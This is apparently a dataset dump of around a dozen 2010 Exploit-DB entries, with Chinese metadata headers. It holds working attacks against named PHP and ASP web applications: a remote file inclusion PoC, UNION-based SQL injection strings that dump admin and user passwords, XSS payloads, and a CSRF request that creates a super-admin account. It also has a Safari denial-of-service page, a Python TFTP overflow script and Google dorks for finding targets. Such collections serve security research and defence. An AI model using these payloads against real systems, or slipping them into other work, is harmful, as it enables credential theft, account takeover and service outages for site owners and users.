QLWD/code_shield huggingface dataset:
标题: Gallo 0.1.0 - Remote File Inclusion EDB-ID: 12488 CVE: 2010-1737 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-03 漏洞利用脚本: 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   |    Gallo 0.1.0 Remote File Include Vulnerability   |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Homepage: http://h4ckb0x.org/
[!] Download Script: http://sourceforge.net/projects/gallo/
[!] Remote: yes

[!] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id
[!] Thanks to: str0ke, opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
           EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
           SENOT, devilbat, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[!] Code [gfw_smarty.php]:

<?php
/**
 * @filename index.php
 * @author Carlos Eduardo Sotelo Pinto
 * @date 2009-01-08
 */
include ($config['gfwroot'] . 'libs/smarty/Smarty.class.php');
class GfwSmarty extends Smarty {
 function GfwSmarty () {
  global $config;
  $this->Smarty();

  $this->template_dir  = $config['approot'] . 'sites/main/templates/';
  $this->compile_dir   = $config['approot'] . 'compiles/';
  $this->config_dir    = $config['approot'] . 'configs/';
  $this->cache_dir     = $config['approot'] . 'cache/';
  $this->compile_check = $config['compile'];
  $this->force_compile = $config['compile'];
  $this->caching       = $config['caching'];
  $this->assign('app_name', 'Maps');
 }
}
?>

[!] PoC:

[x] [Gallo_path]/core/includes/gfw_smarty.php?config[gfwroot]=[Shell] URL: https://www.exploit-db.com/exploits/12488
标题: GuppY 4.5.18 - Blind SQL Injection / XPath Injection EDB-ID: 12484 CVE: 2010-1740 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-02 漏洞利用脚本: ========================================================================================                  
| # Title    : GuppY v4.5.18 Blind SQL/XPath injection Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com
| # Dork     : Site créé avec GuppY v4.5.18 ©
| # Tested on: windows SP2 Français V.(Pnx2 2.0)        
| # Bug      : SQL    
| # Download : http://www.toocharger.com/telecharger/scripts/guppy/3717.htm
======================      Exploit By indoushka       =================================
# Exploit  :  

1 - http://127.0.0.1/guppy/newsletter.php?lng=fr+and+2137718188-60=0+--+

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : Exploit-db Team
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
----------------------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/12484
标题: Apple Safari 4.0.5 - 'JavaScriptCore.dll' Stack Exhaustion EDB-ID: 12487 CVE: 2010-1131 类型: DOS 平台: WINDOWS 发布日期: 2010-05-03 漏洞利用脚本: <html>

<---------------------
Crash Report

  Problem Event Name:   APPCRASH
  Application Name:     Safari.exe
  Application Version:  5.31.22.7
  Application Timestamp:        4b8f94fa
  Fault Module Name:    JavaScriptCore.dll
  Fault Module Version: 5.31.22.5
  Fault Module Timestamp:       4b8cb88c
  Exception Code:       c00000fd
  Exception Offset:     000889f7
  OS Version:   6.1.7600.2.0.0.256.48
  Locale ID:    1053
  Additional Information 1:     d4bb
  Additional Information 2:     d4bb5342a8501f1ef1ad79845414ed25
  Additional Information 3:     57f4
  Additional Information 4:     57f4717a3dd18c61a213b49009cb5bb7

Tested on: Microsoft Windows 7
By: Mathias Karlsson
URL: http://h.ackack.net/

Note:
If you set the iframe src property to an external document containing the window.print(), the user does not have to press away the first print popup.

---------------------->

<script>
window.print();
a();
function a()
{
        setInterval(b,0);
}
function b()
{
        var c = document.createElement("iframe");
        c.setAttribute("src",document.location);
        document.getElementsByTagName("body")[0].appendChild(c);
        setInterval(a,0);
}
</script>
</html> URL: https://www.exploit-db.com/exploits/12487
标题: TFTPGUI - Long Transport Mode Overflow EDB-ID: 12482 CVE: 2010-2028 类型: DOS 平台: WINDOWS 发布日期: 2010-05-02 漏洞利用脚本: # Exploit Title: TFTPGUI Long Transport Mode Overflow
# Date: 5/1/2010
# Author: Jeremiah Talamantes
# Software Link: http://sourceforge.net/projects/tftputil/files/TFTPUtil/TFTPUtil%20Version%201.4.5/TFTPUtil_GUI_Version_1.4.5_Binary_Installer.exe/download
# Version: 1.4.5
# Tested on: Windows XP, SP2 (En)
# CVE : N/A

#!/usr/bin/python
print "\n#################################################################"
print "##                      RedTeam Security                       ##"
print "##             TFTPGUI Long Transport Mode Overflow            ##"
print "##                        Version 1.4.5                        ##"
print "##                      LIST Vulnerability                     ##"
print "##                                                             ##"
print "##                     Jeremiah Talamantes                     ##"
print "##                   labs@redteamsecure.com                    ##"
print "################################################################# \n"

import socket
import sys

# Change these values to suit your needs
host = '192.168.1.108'
port = 69
 
try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "Error: unable to connect."
   sys.exit(1)
 
# Creating the overly long transport mode string 
fn = "A"
md = "A" * 500
stuff = "\x00\x02" + fn + "\0" + md + "\0"

# Send data
s.sendto(stuff, (host, port))
print "Check to see if TFTPGUI is still running..."

# End URL: https://www.exploit-db.com/exploits/12482
标题: Joomla! Component Table JX - Cross-Site Scripting EDB-ID: 12473 CVE: 2010-1746 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-01 漏洞利用脚本: # Exploit Title: Joomla Component Table JX XSS Vulnerabilities
# Date: 01.05.2010
# Author: Valentin
# Category: webapps/0day
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component Table JX XSS Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Table JX
Vendor = Tools JX
Vendor Website = http://www.toolsjx.com
Affected Version(s) = all

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = XSS
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search=[XSS]
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp=[XSS]

In case you wonder: Yes, those are exactely the same URIs like in the other Joomla
component "Card View JX". Both of them seem to be named "com_grid" and use exactely
the same architecture, parameters etc. Therefore both of them are vulnerable to
the same XSS attacks.


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 01.05.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/12473
标题: AutoDealer 1.0/2.0 - MSSQL Injection EDB-ID: 12462 CVE: 2007-0053 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-30 漏洞利用脚本: # vendor :http://www.aspsiteware.com/Auto.asp
# Date: 30 apr,2010
# Dork:Copyright © 2010 ASP SiteWare. All rights reserved.
--------------------------------------------------------------------------------------
#####################Sid3^effects aKa HaRi##################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
#ShouTZ:kedar,dec0d3r,41.w4r10r     
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
 
Description :
AutoDealer is an application ideal for the small or independent new or used car dealer who needs a way

to display and update their inventory online. Backend by Access database, AutoDealer  can store

thousands of vehicles in categories with images.

############################################################################

Xploit : MSSQLi Vulnerability

       
 Ver.1
 http://server/Auto1/type.asp?iType=[ur injection code]
 
 Ver.2
 http://server/auto2/auto2/detail.asp?iPro=[ur injection code]

############################################################################


#Sid3^effects URL: https://www.exploit-db.com/exploits/12462
标题: ec21 clone 3.0 - 'id' SQL Injection EDB-ID: 12459 CVE: 2010-1726 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-30 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
            EC21 Clone 3.0 (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : April, 30-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : EC21 Clone
Vendor   : http://www.alibabaclone.com/
Price  : $499 USD
Google Dork : allinurl:offers_buy.php?id=
Overview :

B2B trading Marketplace Script clone of alibaba Marketplace script is a 
wonderful solution to launch your own business to business and b2c site. 
Script is packed with lot of features to provide a very sound foundation 
to your trading portal site.
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+0,0,group_concat(es_admin_name,char(58),es_pwd)v3n0m,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+esb2b_admin--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/offers_buy.php?id=[SQLi]
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (ah payah c4uR dipeser cengeng bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
   http://v3n0m.blogdetik.com/
   http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/12459
标题: B2B Gold Script - 'id' SQL Injection EDB-ID: 12460 CVE: 2010-1744 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-30 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
            B2B Gold Script (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : April, 30-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : B2B Gold Script
Vendor   : http://www.alibabaclone.com/
Price  : $499 USD
Google Dork : Use your brain & imagination :)
Overview :

B2B trading Marketplace Script clone of alibaba Marketplace script is a 
wonderful solution to launch your own business to business and b2c site. 
Script is packed with lot of features to provide a very sound foundation 
to your trading portal site.
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+0,0,group_concat(es_admin_name,char(58),es_pwd)v3n0m,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+esb2b_admin--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/product.html?id=[SQLi]
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (ah payah c4uR dipeser cengeng bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
   http://v3n0m.blogdetik.com/
   http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/12460
标题: JobPost - SQL Injection EDB-ID: 12461 CVE: 2010-1727 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-30 漏洞利用脚本: # vendor :http://www.aspsiteware.com/job.asp
# Author:Sid3^effects
# Code :
--------------------------------------------------------------------------------------
#####################Sid3^effects aKa HaRi##################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
#ShouTZ:kedar,dec0d3r,41.w4r10r     
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
 
Description :
JobPost is an application ideal for the small or independent business or association who need a way to post and update job openings internally or on the internet. Ideal for intranets Backend by Access database, JobPost can store thousands of job postings in categories.
############################################################################

Xploit : SQLi Vulnerability

       The version of JobPost is vulnerbale

  http://server/JobPost/type.asp?iType=[ur injection code]
 


############################################################################


#Sid3^effects URL: https://www.exploit-db.com/exploits/12461
标题: Alibaba Clone Platinum - 'offers_buy.php' SQL Injection EDB-ID: 12468 CVE: 2010-1725 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-30 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
  Alibaba Clone Platinum (offers_buy.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : April, 30-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Alibaba Clone Platinum
Vendor   : http://www.alibabaclone.com/
Price  : $699 USD
Google Dork : allinurl:offers_buy.php?id=
Overview :

B2B trading Marketplace Script clone of alibaba Marketplace script is a 
wonderful solution to launch your own business to business and b2c site. 
Script is packed with lot of features to provide a very sound foundation 
to your trading portal site.
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+0,0,group_concat(es_admin_name,char(58),es_pwd)v3n0m,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+esb2b_admin--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/offers_buy.php?id=[SQLi]
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on'
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (ah payah c4uR dipeser cengeng bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
   http://v3n0m.blogdetik.com/
   http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/12468
标题: Joomla! Component Newsfeeds - SQL Injection EDB-ID: 12465 CVE: 2010-1739 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-30 漏洞利用脚本: # Exploit Title: Joomla Component com_newsfeeds SQL injection vulnerability
# Date: 30/04/2010
# Author: Archimonde
# Software Link:
# Version:
# Tested on:
# CVE :
# Code :

Email : archimondera@gmail.com
Website : xgroupvn.org - programmer.vn

index.php?option=com_newsfeeds&view=categories&feedid=[sqli]

Example:

http://[site]/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- URL: https://www.exploit-db.com/exploits/12465
标题: ASPCode CMS 1.5.8 - Multiple Vulnerabilities EDB-ID: 12464 CVE: 2010-0711 类型: WEBAPPS 平台: ASP 发布日期: 2010-04-30 漏洞利用脚本: #
#
# Multiple Vulnerability in ASPCode CMS
#
# [Software Version]: <= v1.5.8
# [Vendor WebSite]: www.aspcodecms.com 
# [Date]: 01 January 2010
# 
# Found by Alberto "fulgur" Fontanella
# 
# itsicurezza<0x40>yahoo.it - ictsec.wordpress.com
#
#


[1] - [Multiple XSS Vulnerability]

   http://[host]/default.asp?sec=1&ma1="><script>alert("XSS");</script>

   http://[host]/default.asp?sec=1&tag="><script>alert("XSS");</script>

   http://[host]/default.asp?sec=1&ma2="><script>alert("XSS");</script>

   XSS found also on Form to reset password: http://[host]/default.asp?sec=33&ma1=forgotpass
   
   Put XSS String in Email Field and Submit it


[2] - [Persistent XSS]

   Post in Guestbook Section: http://[host]/default.asp?sec=23

   <img src="http://[host]/default.asp?sec=1&ma1="><script>alert("XSS");</script>"></img>


[3] - [CSRF]

   To Delete an User Account

   http://[host]/default.asp?a1=admin&a2=modules&a3=manage&module=users&ma1=users&ma2=delete&idx=50

   To Create a Super Admin Account

   POST /default.asp?a1=admin&a2=modules&a3=manage&module=users&ma1=users&ma2=update&idx=-1
   HTTP/1.1
   Host: [host]
   User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-us,en;q=0.5
   Accept-Encoding: gzip,deflate
   Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
   Keep-Alive: 300
   Connection: keep-alive
   Referer: http://[host]/default.asp?a1=admin&a2=modules&a3=manage&module=users&ma1=users&ma2=edit&idx=-1
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 140

   username=HAXOR&password=PASSWD&old_password=&password_is_encrypted=false&email=HAXOR%40BLACKHAT.ORG&roleId=4&redirsectionid=0&confirmed=true
   
   You can use CSRF + XSS (Very Dangerous)


[4] - [Possible SQL Injection]

   http://[host]/default.asp?sec=64&ma1=tag&tag=CMS'

   Errore numero: -2147217900
   Errore: Errore di sintassi (operatore mancante) nell'espressione della query
   '[ID] IN ()'.

   Query:
   SELECT * FROM [section] s WHERE [ID] IN ()


   http://[host]/default.asp=sec=1'

   Errore di run-time di Microsoft VBScript (0x800A000D)
   Tipo non corrispondente: 'sectionID'
   /include/api.asp, line 657 URL: https://www.exploit-db.com/exploits/12464